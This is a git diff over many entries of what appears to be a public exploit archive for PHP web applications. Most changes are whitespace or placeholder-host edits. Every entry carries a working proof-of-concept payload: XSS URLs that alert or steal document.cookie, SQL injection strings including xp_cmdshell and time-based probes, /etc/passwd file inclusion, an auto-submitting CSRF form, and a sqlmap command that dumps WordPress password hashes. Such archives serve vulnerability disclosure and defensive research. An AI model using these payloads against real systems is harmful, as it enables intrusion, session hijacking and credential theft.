+http://www.example.com/index.php/Special:FormEdit?target=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F&categories=Calendar+ \ No newline at end of file diff --git a/platforms/php/webapps/36765.txt b/platforms/php/webapps/36765.txt index 6d3fba9ad..1fa760de5 100755 --- a/platforms/php/webapps/36765.txt +++ b/platforms/php/webapps/36765.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica pfile 1.02 is vulnerable; other versions may also be affected. -http://www.example.compfile/kommentar.php?filecat=[xss]&fileid=0 \ No newline at end of file +http://www.example.compfile/kommentar.php?filecat=[xss]&fileid=0 \ No newline at end of file diff --git a/platforms/php/webapps/36766.txt b/platforms/php/webapps/36766.txt index 02fdd2927..7bc6a2a0e 100755 --- a/platforms/php/webapps/36766.txt +++ b/platforms/php/webapps/36766.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica pfile 1.02 is vulnerable; other versions may also be affected. -http://www.example.com/pfile/file.php?eintrag=0&filecat=0&id=%24%7[xql] \ No newline at end of file +http://www.example.com/pfile/file.php?eintrag=0&filecat=0&id=%24%7[xql] \ No newline at end of file diff --git a/platforms/php/webapps/36768.txt b/platforms/php/webapps/36768.txt index aa6e8efc7..1475f999b 100755 --- a/platforms/php/webapps/36768.txt +++ b/platforms/php/webapps/36768.txt @@ -4,4 +4,4 @@ ProWiki is prone to a cross-site scripting vulnerability because it fails to suf An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/wiki4d/wiki.cgi?action=browse&id=[XSS] \ No newline at end of file +http://www.example.com/wiki4d/wiki.cgi?action=browse&id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36769.txt b/platforms/php/webapps/36769.txt index fa079e67b..9ec66dd05 100755 --- a/platforms/php/webapps/36769.txt +++ b/platforms/php/webapps/36769.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a STHS v2 Web Portal 2.2 is vulnerable; other versions may also be affected. - http://www.example.com/prospects.php?team=[SQLi]' \ No newline at end of file + http://www.example.com/prospects.php?team=[SQLi]' \ No newline at end of file diff --git a/platforms/php/webapps/36770.txt b/platforms/php/webapps/36770.txt index 0e2a19828..de2d31fd7 100755 --- a/platforms/php/webapps/36770.txt +++ b/platforms/php/webapps/36770.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a STHS v2 Web Portal 2.2 is vulnerable; other versions may also be affected. -http://www.example.com/prospect.php?team=[SQLi]' \ No newline at end of file +http://www.example.com/prospect.php?team=[SQLi]' \ No newline at end of file diff --git a/platforms/php/webapps/36771.txt b/platforms/php/webapps/36771.txt index e0e713bc3..89c127ca3 100755 --- a/platforms/php/webapps/36771.txt +++ b/platforms/php/webapps/36771.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a STHS v2 Web Portal 2.2 is vulnerable; other versions may also be affected. -http://www.example.com/team.php?team=[SQLi]' \ No newline at end of file +http://www.example.com/team.php?team=[SQLi]' \ No newline at end of file diff --git a/platforms/php/webapps/36787.txt b/platforms/php/webapps/36787.txt index ec2d72ac1..e2034717f 100755 --- a/platforms/php/webapps/36787.txt +++ b/platforms/php/webapps/36787.txt @@ -11,4 +11,4 @@ Exploiting these issues could allow an attacker to execute arbitrary script and LEPTON 1.1.3 is vulnerable; other versions may also be affected. -http://www.example.com/admins/login/forgot/index.php?message=%3Cscript%3Ealert%28document.cookie%29;%3C/scrip t%3E \ No newline at end of file +http://www.example.com/admins/login/forgot/index.php?message=%3Cscript%3Ealert%28document.cookie%29;%3C/scrip t%3E \ No newline at end of file diff --git a/platforms/php/webapps/36790.txt b/platforms/php/webapps/36790.txt index d0f5e554a..5b8dc9ccd 100755 --- a/platforms/php/webapps/36790.txt +++ b/platforms/php/webapps/36790.txt @@ -4,4 +4,4 @@ Tube Ace is prone to a cross-site scripting vulnerability because it fails to pr An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/search/?q=%22%3E%3Cscript%3Ealert%28%22pwned%22%29%3C/script%3E&channel= \ No newline at end of file +http://www.example.com/search/?q=%22%3E%3Cscript%3Ealert%28%22pwned%22%29%3C/script%3E&channel= \ No newline at end of file diff --git a/platforms/php/webapps/36791.txt b/platforms/php/webapps/36791.txt index 9bed7a322..cf85c64b2 100755 --- a/platforms/php/webapps/36791.txt +++ b/platforms/php/webapps/36791.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a CMS Faethon 1.3.4 is vulnerable; other versions may also be affected. http://www.example.com/articles.php?by_author=[SQL] -http://www.example.com/article.php?id=[SQL] \ No newline at end of file +http://www.example.com/article.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/36792.txt b/platforms/php/webapps/36792.txt index 33ae7f8a4..766275287 100755 --- a/platforms/php/webapps/36792.txt +++ b/platforms/php/webapps/36792.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to view files and execute local scrip Pandora FMS 4.0.1 is vulnerable; other versions may also be affected. -http://www.example.com/[ Path ]/index.php?sec=services&sec2=[FILE INCLUDE VULNERABILITY!] \ No newline at end of file +http://www.example.com/[ Path ]/index.php?sec=services&sec2=[FILE INCLUDE VULNERABILITY!] \ No newline at end of file diff --git a/platforms/php/webapps/36793.txt b/platforms/php/webapps/36793.txt index 5333cc8c6..f328853cc 100755 --- a/platforms/php/webapps/36793.txt +++ b/platforms/php/webapps/36793.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ButorWiki 3.0.0 is vulnerable; other versions may also be affected. -http://www.example.com/sso/signin?service=%22%22%3E%3Cscript%3Ealert%28%22123%20xss%22%29%3C/script%3E \ No newline at end of file +http://www.example.com/sso/signin?service=%22%22%3E%3Cscript%3Ealert%28%22123%20xss%22%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/36802.txt b/platforms/php/webapps/36802.txt index b52ba3434..c635c497b 100755 --- a/platforms/php/webapps/36802.txt +++ b/platforms/php/webapps/36802.txt @@ -47,7 +47,7 @@ Proof of concept: The following HTTP request to the Tune Library page returns version, current user and db name: =============================================================================== -http://www.server/?page_id=2&artistletter=G' UNION ALL SELECT CONCAT_WS(CHAR(59),version(),current_user(),database()),2--%20 +http://www.site.com/?page_id=2&artistletter=G' UNION ALL SELECT CONCAT_WS(CHAR(59),version(),current_user(),database()),2--%20 =============================================================================== diff --git a/platforms/php/webapps/36804.pl b/platforms/php/webapps/36804.pl index 7b7a895d0..d20fff783 100755 --- a/platforms/php/webapps/36804.pl +++ b/platforms/php/webapps/36804.pl @@ -1,4 +1,4 @@ -.__ _____ _______ + .__ _____ _______ | |__ / | |___ __\ _ \_______ ____ | | \ / | |\ \/ / /_\ \_ __ \_/ __ \ | \/ ^ /> <\ \_/ \ | \/\ ___/ diff --git a/platforms/php/webapps/36805.txt b/platforms/php/webapps/36805.txt index 9bdf4a620..c420af3a2 100755 --- a/platforms/php/webapps/36805.txt +++ b/platforms/php/webapps/36805.txt @@ -43,20 +43,20 @@ Proof of concept: The following HTTP request to the Community Events full schedule returns the event(s) planned in the specified year: =============================================================================== -http://www.server/?page_id=2&eventyear=2015 AND 1=1 )--&dateset=on&eventday=1 +http://www.site.com/?page_id=2&eventyear=2015 AND 1=1 )--&dateset=on&eventday=1 =============================================================================== The following HTTP request returns a blank page, thus confirming the blind SQL injection vulnerability: =============================================================================== -http://www.server/?page_id=2&eventyear=2015 AND 1=0 )--&dateset=on&eventday=1 +http://www.site.com/?page_id=2&eventyear=2015 AND 1=0 )--&dateset=on&eventday=1 =============================================================================== Obtaining users and password hashes with sqlmap may look as follows (--string parameter has to contain (part of) the name of the event, enabling sqlmap to differentiate between true and false statements): ================================================================================ -sqlmap -u "http://www.server/?page_id=2&eventyear=2015&dateset=on&eventday=1" -p "eventyear" --technique=B --dbms=mysql --suffix=")--" --string="Test" --sql-query="select user_login,user_pass from wp_users" +sqlmap -u "http://www.site.com/?page_id=2&eventyear=2015&dateset=on&eventday=1" -p "eventyear" --technique=B --dbms=mysql --suffix=")--" --string="Test" --sql-query="select user_login,user_pass from wp_users" ================================================================================ diff --git a/platforms/php/webapps/36830.txt b/platforms/php/webapps/36830.txt index e8c001a97..a31018896 100755 --- a/platforms/php/webapps/36830.txt +++ b/platforms/php/webapps/36830.txt @@ -4,4 +4,4 @@ Impulsio CMS is prone to an SQL-injection vulnerability because it fails to suff Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?id=[SQL] \ No newline at end of file +http://www.example.com/index.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/36834.txt b/platforms/php/webapps/36834.txt index 9147844b1..7cf662dcd 100755 --- a/platforms/php/webapps/36834.txt +++ b/platforms/php/webapps/36834.txt @@ -4,4 +4,4 @@ The X-Shop component for Joomla! is prone to an SQL-injection vulnerability beca Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_x-shop&action=artdetail&idd=' \ No newline at end of file +http://www.example.com/index.php?option=com_x-shop&action=artdetail&idd=' \ No newline at end of file diff --git a/platforms/php/webapps/36835.txt b/platforms/php/webapps/36835.txt index 2b1ac3adc..eed6d2541 100755 --- a/platforms/php/webapps/36835.txt +++ b/platforms/php/webapps/36835.txt @@ -4,4 +4,4 @@ The Xcomp component for Joomla! is prone to a local file-include vulnerability b An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible. -http://www.example.com/index.php?option=com_xcomp&controller=../../[LFI]%00 \ No newline at end of file +http://www.example.com/index.php?option=com_xcomp&controller=../../[LFI]%00 \ No newline at end of file diff --git a/platforms/php/webapps/36848.txt b/platforms/php/webapps/36848.txt index 5382ace90..ade000314 100755 --- a/platforms/php/webapps/36848.txt +++ b/platforms/php/webapps/36848.txt @@ -4,4 +4,4 @@ Tiki Wiki CMS Groupware is prone to a URI-redirection vulnerability because the A successful exploit may aid in phishing attacks; other attacks are possible. -http://www.example.com/tiki-featured_link.php?type=f&url=http://www.example2.com \ No newline at end of file +http://www.example.com/tiki-featured_link.php?type=f&url=http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/36850.txt b/platforms/php/webapps/36850.txt index 22bc89496..da6d27b18 100755 --- a/platforms/php/webapps/36850.txt +++ b/platforms/php/webapps/36850.txt @@ -9,4 +9,4 @@ VOXTRONIC Voxlog Professional 3.7.2.729 and 3.7.0.633 are vulnerable; other vers http://www.example.com/voxlog/sysstat/userlogdetail.php?load=1&idclient[1]=xxx);waitfor delay '0:0:5' --+ -http://www.example.com/voxlog/sysstat/userlogdetail.php?load=1&idclient[1]=xxx);exec master..xp_cmdshell 'xxxxx' --+ \ No newline at end of file +http://www.example.com/voxlog/sysstat/userlogdetail.php?load=1&idclient[1]=xxx);exec master..xp_cmdshell 'xxxxx' --+ \ No newline at end of file diff --git a/platforms/php/webapps/36851.txt b/platforms/php/webapps/36851.txt index 58ef5c6f6..288862172 100755 --- a/platforms/php/webapps/36851.txt +++ b/platforms/php/webapps/36851.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to execute arbitrary script on t http://www.example.com/fup [id parameter] http://www.example.com/fup [to parameter] -http://www.example.com/fup [from parameter] \ No newline at end of file +http://www.example.com/fup [from parameter] \ No newline at end of file diff --git a/platforms/php/webapps/36852.txt b/platforms/php/webapps/36852.txt index 82182017d..2bea41bdf 100755 --- a/platforms/php/webapps/36852.txt +++ b/platforms/php/webapps/36852.txt @@ -21,4 +21,4 @@ OR 1=1 http://www.example.com/lib/requirements/reqSpecPrint.php?req_spec_id=2622 AND 5912=BENCHMARK(5000000,MD5(1)) http://www.example.com/lib/requirements/reqSpecView.php?req_spec_id=2622 AND -5912=BENCHMARK(5000000,MD5(1)) \ No newline at end of file +5912=BENCHMARK(5000000,MD5(1)) \ No newline at end of file diff --git a/platforms/php/webapps/36853.txt b/platforms/php/webapps/36853.txt index 3000a5168..6330ca3cf 100755 --- a/platforms/php/webapps/36853.txt +++ b/platforms/php/webapps/36853.txt @@ -8,4 +8,4 @@ Dolphin 7.0.7 and prior versions are vulnerable. http://www.example.com/dolph/viewFriends.php?iUser=1&page=1&per_page=32&sort=activity&photos_only='"><script>alert(/xss/)</script> http://www.example.com/dolph/viewFriends.php?iUser=1&page=1&per_page=32&sort=activity&online_only='"><script>alert(/xss/)</script> -http://www.example.com/dolph/viewFriends.php?iUser=1&page=1&sort=activity&mode='"><script>alert(/xss/)</script> \ No newline at end of file +http://www.example.com/dolph/viewFriends.php?iUser=1&page=1&sort=activity&mode='"><script>alert(/xss/)</script> \ No newline at end of file diff --git a/platforms/php/webapps/36856.txt b/platforms/php/webapps/36856.txt index ee54de6dd..c2e028a25 100755 --- a/platforms/php/webapps/36856.txt +++ b/platforms/php/webapps/36856.txt @@ -4,4 +4,4 @@ The 'com_xvs' component for Joomla! is prone to a local file-include vulnerabili An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/index.php?option=com_xvs&controller=../../[LFI]%00 \ No newline at end of file +http://www.example.com/index.php?option=com_xvs&controller=../../[LFI]%00 \ No newline at end of file diff --git a/platforms/php/webapps/36863.txt b/platforms/php/webapps/36863.txt index a80d86ab9..d4f4509bf 100755 --- a/platforms/php/webapps/36863.txt +++ b/platforms/php/webapps/36863.txt @@ -5,4 +5,4 @@ The Machine component for Joomla! is prone to multiple SQL-injection vulnerabili Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/index.php?option=com_machine&view=machine&Itemid=[SQL Injection] -http://www.example.com/index.php?option=com_machine&view=machine&Itemid=xxx&idMacchina=[SQL Injection] \ No newline at end of file +http://www.example.com/index.php?option=com_machine&view=machine&Itemid=xxx&idMacchina=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/36867.txt b/platforms/php/webapps/36867.txt index 1b7d78db4..1369d4d85 100755 --- a/platforms/php/webapps/36867.txt +++ b/platforms/php/webapps/36867.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Dragonfly 9.3.3.0 is vulnerable; other versions may be affected. -http://www.example.com/index.php?name=coppermine&file=thumbnails&meta=lastup%22%3E%3CsCrIpT%3Ealert%2852128%29%3C%2fsCrIpT%3E&cat=0 \ No newline at end of file +http://www.example.com/index.php?name=coppermine&file=thumbnails&meta=lastup%22%3E%3CsCrIpT%3Ealert%2852128%29%3C%2fsCrIpT%3E&cat=0 \ No newline at end of file diff --git a/platforms/php/webapps/36870.txt b/platforms/php/webapps/36870.txt index d379572d8..56a8b3552 100755 --- a/platforms/php/webapps/36870.txt +++ b/platforms/php/webapps/36870.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ContentLion Alpha 1.3 is vulnerable; other versions may also be affected. -http://www.example.com/contentlion-alpha-1-3/login.html?'"</script><script>alert('JaVaScr1pT')</script> \ No newline at end of file +http://www.example.com/contentlion-alpha-1-3/login.html?'"</script><script>alert('JaVaScr1pT')</script> \ No newline at end of file diff --git a/platforms/php/webapps/36873.txt b/platforms/php/webapps/36873.txt index a475611f3..c19bb8454 100755 --- a/platforms/php/webapps/36873.txt +++ b/platforms/php/webapps/36873.txt @@ -6,4 +6,4 @@ Exploiting the issues can allow an attacker to obtain sensitive information that Dolibarr 3.2.0 Alpha is vulnerable; other versions may also be affected. -http://www.example.com/document.php?modulepart=project&file=../[FILE INCLUDE VULNERABILITY!] \ No newline at end of file +http://www.example.com/document.php?modulepart=project&file=../[FILE INCLUDE VULNERABILITY!] \ No newline at end of file diff --git a/platforms/php/webapps/36876.txt b/platforms/php/webapps/36876.txt index 78b774a2b..c06dc56ee 100755 --- a/platforms/php/webapps/36876.txt +++ b/platforms/php/webapps/36876.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Oxwall 1.1.1 and prior versions are vulnerable; other versions may also be affected. -http://www.example.com/ow_updates/?plugin=%27%22%28%29%26%251%3CScRiPt%20%3Eprompt%28982087%29%3C%2fScRiPt%3E \ No newline at end of file +http://www.example.com/ow_updates/?plugin=%27%22%28%29%26%251%3CScRiPt%20%3Eprompt%28982087%29%3C%2fScRiPt%3E \ No newline at end of file diff --git a/platforms/php/webapps/36878.txt b/platforms/php/webapps/36878.txt index 4f9aa3703..91664dcee 100755 --- a/platforms/php/webapps/36878.txt +++ b/platforms/php/webapps/36878.txt @@ -6,4 +6,4 @@ Attackers can leverage this issue to influence or misrepresent how web content i Mobile Mp3 Search Script 2.0 is vulnerable; other versions may also be affected -http://www.example.com/dl.php?url=http://www.google.it \ No newline at end of file +http://www.example.com/dl.php?url=http://www.google.it \ No newline at end of file diff --git a/platforms/php/webapps/36882.txt b/platforms/php/webapps/36882.txt index c0dacb5ca..6966b08d0 100755 --- a/platforms/php/webapps/36882.txt +++ b/platforms/php/webapps/36882.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc MyJobList 0.1.3 is vulnerable; other versions may also be affected. -http://www.example.com/?loc=profile&eid=[SQLi] \ No newline at end of file +http://www.example.com/?loc=profile&eid=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/36883.txt b/platforms/php/webapps/36883.txt index 70b1613c6..85b2b5c2e 100755 --- a/platforms/php/webapps/36883.txt +++ b/platforms/php/webapps/36883.txt @@ -10,4 +10,4 @@ http://www.example.com/wgarcmin.cgi?URL2FIL=URL+2+File+--%3E&URL=%22%3E%3Cscript http://www.example.com/wgarcmin.cgi?FIL2URL=%3C--+File+2+URL&FILE=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T -http://www.example.com/wgarcmin.cgi?DOMAIN=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T \ No newline at end of file +http://www.example.com/wgarcmin.cgi?DOMAIN=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T \ No newline at end of file diff --git a/platforms/php/webapps/36886.txt b/platforms/php/webapps/36886.txt index ccfaa36a3..27942e4ee 100755 --- a/platforms/php/webapps/36886.txt +++ b/platforms/php/webapps/36886.txt @@ -7,4 +7,4 @@ Attacker-supplied HTML or JavaScript code could run in the context of the affect OSQA 3b is vulnerable; other versions may also be affected. http://www.example.com/questions/ask/ press url bar & put xss code <img src="<img src=search"/onerror=alert("xss")//"> -http://www.example.com/questions/ask/ press picture bar & put xss code <img src="<img src=search"/onerror=alert("xss")//"> \ No newline at end of file +http://www.example.com/questions/ask/ press picture bar & put xss code <img src="<img src=search"/onerror=alert("xss")//"> \ No newline at end of file diff --git a/platforms/php/webapps/3689.txt b/platforms/php/webapps/3689.txt index 7c01a0c73..1268cc904 100755 --- a/platforms/php/webapps/3689.txt +++ b/platforms/php/webapps/3689.txt @@ -1,4 +1,4 @@ -.-""""""""-. + .-""""""""-. / Dj7xpl \ | | |, .-. .-. ,| diff --git a/platforms/php/webapps/36893.txt b/platforms/php/webapps/36893.txt index 4b8f5492d..803c58048 100755 --- a/platforms/php/webapps/36893.txt +++ b/platforms/php/webapps/36893.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Fork CMS versions prior to 3.2.7 are vulnerable. -http://www.example.com/private/en/locale/index?name=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/private/en/locale/index?name=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/36895.txt b/platforms/php/webapps/36895.txt index 32f4d8655..26826354b 100755 --- a/platforms/php/webapps/36895.txt +++ b/platforms/php/webapps/36895.txt @@ -4,4 +4,4 @@ starCMS is prone to a cross-site scripting vulnerability because it fails to pro An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/index.php?q=[Xss]&r=5&lang=de&actionsuche=yes \ No newline at end of file +http://www.example.com/index.php?q=[Xss]&r=5&lang=de&actionsuche=yes \ No newline at end of file diff --git a/platforms/php/webapps/36897.txt b/platforms/php/webapps/36897.txt index 3bd5a7806..418f04984 100755 --- a/platforms/php/webapps/36897.txt +++ b/platforms/php/webapps/36897.txt @@ -4,4 +4,4 @@ LastGuru ASP GuestBook is prone to an SQL-injection vulnerability because it fai Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/victim/View.asp?E_Mail=webmaster@lastguru.com' and 'a'='a \ No newline at end of file +http://www.example.com/victim/View.asp?E_Mail=webmaster@lastguru.com' and 'a'='a \ No newline at end of file diff --git a/platforms/php/webapps/36910.txt b/platforms/php/webapps/36910.txt index efb4df7ec..a9132b6bb 100755 --- a/platforms/php/webapps/36910.txt +++ b/platforms/php/webapps/36910.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor Open Realty version 2.5.8 is vulnerable; other versions may also be affected. -http://www.example.com/open-realty2.5.8/?select_users_template=../../../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/open-realty2.5.8/?select_users_template=../../../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/36911.txt b/platforms/php/webapps/36911.txt index b919b05c1..cfa7aaf0e 100755 --- a/platforms/php/webapps/36911.txt +++ b/platforms/php/webapps/36911.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a 11in1 1.2.1 is vulnerable; other versions may also be affected. -http://www.example.com/11in1/admin/comments?topicID=1'[SQL Injection Vulnerability!] \ No newline at end of file +http://www.example.com/11in1/admin/comments?topicID=1'[SQL Injection Vulnerability!] \ No newline at end of file diff --git a/platforms/php/webapps/36912.txt b/platforms/php/webapps/36912.txt index 053bd881c..9cd861bd1 100755 --- a/platforms/php/webapps/36912.txt +++ b/platforms/php/webapps/36912.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a 11in1 1.2.1 is vulnerable; other versions may also be affected. -http://www.example.com/11in1/admin/tps?id=1'[SQL Injection Vulnerability!] \ No newline at end of file +http://www.example.com/11in1/admin/tps?id=1'[SQL Injection Vulnerability!] \ No newline at end of file diff --git a/platforms/php/webapps/36916.txt b/platforms/php/webapps/36916.txt index 6a16af3cf..49c95f814 100755 --- a/platforms/php/webapps/36916.txt +++ b/platforms/php/webapps/36916.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Exponent CMS 2.0.4 is vulnerable; prior versions may also be affected. -http://www.example.com//exponent/cron/send_reminders.php?src=src%3d11"%3b}'%20or%201%3d1%20AND%20SLEEP(5)%20%3b%20--%20" \ No newline at end of file +http://www.example.com//exponent/cron/send_reminders.php?src=src%3d11"%3b}'%20or%201%3d1%20AND%20SLEEP(5)%20%3b%20--%20" \ No newline at end of file diff --git a/platforms/php/webapps/36926.txt b/platforms/php/webapps/36926.txt index 944e1f39e..8bd297a55 100755 --- a/platforms/php/webapps/36926.txt +++ b/platforms/php/webapps/36926.txt @@ -4,4 +4,4 @@ LeKommerce is prone to an SQL-injection vulnerability because it fails to suffic Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/path/secc.php?id={sqli} \ No newline at end of file +http://www.example.com/path/secc.php?id={sqli} \ No newline at end of file diff --git a/platforms/php/webapps/36927.txt b/platforms/php/webapps/36927.txt index 4863827af..e7252528b 100755 --- a/platforms/php/webapps/36927.txt +++ b/platforms/php/webapps/36927.txt @@ -8,4 +8,4 @@ The attacker may leverage the cross-site scripting issue to execute arbitrary sc ToendaCMS 1.6.2 is vulnerable; other versions may also be affected. -http://www.example.com/setup/index.php?site=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/s \ No newline at end of file +http://www.example.com/setup/index.php?site=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/s \ No newline at end of file diff --git a/platforms/php/webapps/36937.html b/platforms/php/webapps/36937.html index 044cce99c..87ef12bc6 100755 --- a/platforms/php/webapps/36937.html +++ b/platforms/php/webapps/36937.html @@ -27,4 +27,4 @@ PHPMV_VERSION 2.4 <!--- Author: AkaStep --> </form> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/php/webapps/36938.txt b/platforms/php/webapps/36938.txt index 209d2af1c..928a1a8bf 100755 --- a/platforms/php/webapps/36938.txt +++ b/platforms/php/webapps/36938.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow singapore 0.10.1 is vulnerable; other versions may also be affected. -http://www.example.com/patch/index.php?gallery=<script>alert('31337')</script> \ No newline at end of file +http://www.example.com/patch/index.php?gallery=<script>alert('31337')</script> \ No newline at end of file diff --git a/platforms/php/webapps/3694.txt b/platforms/php/webapps/3694.txt index 2860371c9..744686532 100755 --- a/platforms/php/webapps/3694.txt +++ b/platforms/php/webapps/3694.txt @@ -1,4 +1,4 @@ -+========================I=R=A=N============================+ + +========================I=R=A=N============================+ PHP121 Version 2.2 diff --git a/platforms/php/webapps/36944.txt b/platforms/php/webapps/36944.txt index ec26394b4..68fdd5ada 100755 --- a/platforms/php/webapps/36944.txt +++ b/platforms/php/webapps/36944.txt @@ -8,4 +8,4 @@ Photo Station 5 DSM 3.2 (1955) is vulnerable; other versions may also be affecte http://www.example.com/photo/photo_one.php?name=494d475f32303131303730395f3232343432362e6a7067&dir=6970686f6e65207068696c69707065&name=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%38%38%2c%38%33%2c%38%33%29%29%3c%2f%73%63%72%69%70%74%3e -http://www.example.com/photo/photo_one.php?name=494d475f32303131303730395f3232343432362e6a7067&dir=6970686f6e65207068696c69707065&name=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e%3c%61%20%68%72%65%66%3d%22 \ No newline at end of file +http://www.example.com/photo/photo_one.php?name=494d475f32303131303730395f3232343432362e6a7067&dir=6970686f6e65207068696c69707065&name=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e%3c%61%20%68%72%65%66%3d%22 \ No newline at end of file diff --git a/platforms/php/webapps/36954.txt b/platforms/php/webapps/36954.txt index f8b90892c..a7057a713 100755 --- a/platforms/php/webapps/36954.txt +++ b/platforms/php/webapps/36954.txt @@ -14,7 +14,7 @@ of Concept <body onload="document.getElementById('payload_form').submit()" > <form id="payload_form" -action="http://wpserver/wp-admin/options-general.php?page=yarpp" +action="http://wpsite.com/wp-admin/options-general.php?page=yarpp" method="POST" > <input type='hidden' name='recent_number' value='12' > <input type='hidden' name='recent_units' value='month' > diff --git a/platforms/php/webapps/3696.txt b/platforms/php/webapps/3696.txt index 63f78389a..d8c193480 100755 --- a/platforms/php/webapps/3696.txt +++ b/platforms/php/webapps/3696.txt @@ -19,7 +19,7 @@ include_once($_GET['file'] . ".html"); <<< rfi coded ************************************************************************************** RFI#1: -http://server/path/warn.php?file=[SHELL] +http://SITE.com/path/warn.php?file=[SHELL] ************************************************************************************** diff --git a/platforms/php/webapps/36967.txt b/platforms/php/webapps/36967.txt index 409980c99..76f1d81e6 100755 --- a/platforms/php/webapps/36967.txt +++ b/platforms/php/webapps/36967.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to execute arbitrary HTML and sc Max's Guestbook 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/max/index.php?page=../../../../../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/max/index.php?page=../../../../../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/36968.txt b/platforms/php/webapps/36968.txt index 20e2c2b7a..1e084759d 100755 --- a/platforms/php/webapps/36968.txt +++ b/platforms/php/webapps/36968.txt @@ -4,4 +4,4 @@ Max's PHP Photo Album is prone to a local file-include vulnerability because it An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process. -http//www.example.com/maximage/showImage.php?id=../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http//www.example.com/maximage/showImage.php?id=../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/36970.txt b/platforms/php/webapps/36970.txt index 47430f9a7..ed2182e92 100755 --- a/platforms/php/webapps/36970.txt +++ b/platforms/php/webapps/36970.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access JPM Article Script 6 is vulnerable; other versions may also be affected. -http://www.example.com/blog/index.php?page2=-1%27&cid=0 \ No newline at end of file +http://www.example.com/blog/index.php?page2=-1%27&cid=0 \ No newline at end of file diff --git a/platforms/php/webapps/36975.txt b/platforms/php/webapps/36975.txt index c2d177b5a..65c0dce7c 100755 --- a/platforms/php/webapps/36975.txt +++ 